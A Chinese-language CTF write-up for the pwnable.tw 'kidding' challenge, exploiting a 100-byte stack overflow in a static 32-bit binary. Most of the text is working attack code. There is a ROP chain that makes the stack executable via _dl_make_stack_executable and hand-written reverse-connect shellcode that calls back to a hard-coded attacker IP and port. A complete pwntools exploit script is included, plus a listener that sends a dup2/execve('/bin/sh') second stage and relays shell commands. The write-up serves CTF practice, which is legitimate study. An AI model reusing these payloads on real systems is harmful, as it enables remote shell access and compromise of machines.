pwnable.tw kidding writeup - stack overflow

主要考察逆向shellcode,程序是静态编译的。

原题地址:https://pwnable.tw/challenge/

源程序和相关文件下载:https://github.com/Ex-Origin/ctf-writeups/tree/master/pwnable_tw/kidding

安全防护

ex@Ex:~/test$ checksec kidding
[*] '/home/ex/test/kidding'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

溢出点

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+0h] [ebp-8h]

  read(0, (int)&v4, 100);
  close(0);
  close(1);
  close(2);
  return 0;
}

明显的栈溢出,但是程序完全没有交换性。

思路

该程序的难点在于,其payload长度仅有100。

先用rop使得__stack_prot值为7,然后利用_dl_make_stack_executable使得栈可执行,在执行反向shellcode来拿shell。

First: 先用rop使得__stack_prot值为7,然后利用_dl_make_stack_executable使得栈可执行。

layout = [
    0,
    0x080b8536, # : pop eax ; ret
    elf.symbols['__libc_stack_end'],
    0x080583c9, # : pop ecx ; ret
    7,

    0x080534fc, # : mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
    elf.symbols['_dl_make_stack_executable'],
    0x080bd13b, # : jmp esp
]

原本payload可能不够,但是我找到了 mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret,使得第一步和第二步可以同时进行,节省了很多payload空间。

Second: 执行反向shellcode。

shellcode = asm('''
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor ebx, ebx
mul ebx
inc ebx
push edx
push ebx
push 0x2
mov ecx, esp
mov al, 0x66
int 0x80

;// dup2(soc, 0)
mov ebx, eax

;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
push 0x3740e76f
push 0xcaea0002
mov ecx, esp
push 0x10
push ecx
push ebx ;// fd
mov ecx, esp
mov bl, 3
mov al, 0x66
int 0x80

;// read(socket, 0x804a000, 255)
mov ecx, esp
mov dl,  255
mov bl, 0
mov al, 3
int 0x80

;// shellcode
jmp ecx
''')

# pause()
sh.send('a' * 8 + flat(layout) + shellcode)

为了节省payload空间,下面的shellcode在远程脚本中发送。

;// dup2(soc, 1)
mov ebx, 0
mov ecx, 1
mov eax, 63 ;// SYS_dup2
int 0x80

;// dup2(soc, 2)
mov ebx, 0
mov ecx, 2
mov eax, 63 ;// SYS_dup2
int 0x80

;// execve("/bin/sh", NULL, NULL)
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov eax,0x0b
mov ecx,0
mov edx,0
int 0x80

;// exit(0)
mov ebx, 0
mov eax, 1
int 0x80

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g  -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

# context.arch = 'amd64'
context.arch = 'i386'
context.log_level = 'debug'
execve_file = './kidding'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('chall.pwnable.tw', 10303)
elf = ELF(execve_file)
# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *0x80488B6
    b *0x80bd13b
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

layout = [
    0,
    0x080b8536, # : pop eax ; ret
    elf.symbols['__libc_stack_end'],
    0x080583c9, # : pop ecx ; ret
    7,

    0x080534fc, # : mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
    elf.symbols['_dl_make_stack_executable'],
    0x080bd13b, # : jmp esp
]

shellcode = asm('''
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor ebx, ebx
mul ebx
inc ebx
push edx
push ebx
push 0x2
mov ecx, esp
mov al, 0x66
int 0x80

;// dup2(soc, 0)
mov ebx, eax

;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
push 0x3740e76f
push 0xcaea0002
mov ecx, esp
push 0x10
push ecx
push ebx ;// fd
mov ecx, esp
mov bl, 3
mov al, 0x66
int 0x80

;// read(socket, 0x804a000, 255)
mov ecx, esp
mov dl,  255
mov bl, 0
mov al, 3
int 0x80

;// shellcode
jmp ecx
''')

# pause()
sh.send('a' * 8 + flat(layout) + shellcode)

sh.interactive()
clear()

控制脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import socket               # 导入 socket 模块
import thread

def print_recv(s):
    while(s):
        result = s.recv(1024)
        if(result):
            print(result)
        else:
            return

s = socket.socket()         # 创建 socket 对象
host = '0.0.0.0'  # 获取本地主机名
port = 60106                # 设置端口
s.bind((host, port))        # 绑定端口

s.listen(1)                 # 等待客户端连接
while True:
    c, addr = s.accept()     # 建立客户端连接
    print ('连接地址:' + str(addr))
    c.send('\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xb8?\x00\x00\x00\xcd\x80\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xb8?\x00\x00\x00\xcd\x80h/sh\x00h/bin\x89\xe3\xb8\x0b\x00\x00\x00\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80')
    try:
        thread.start_new_thread(print_recv, (c, ))
        while(True):
            c.send(raw_input('') + '\n')
    except Exception as e:
        print(e)
        print("Disconnect")
        c.close()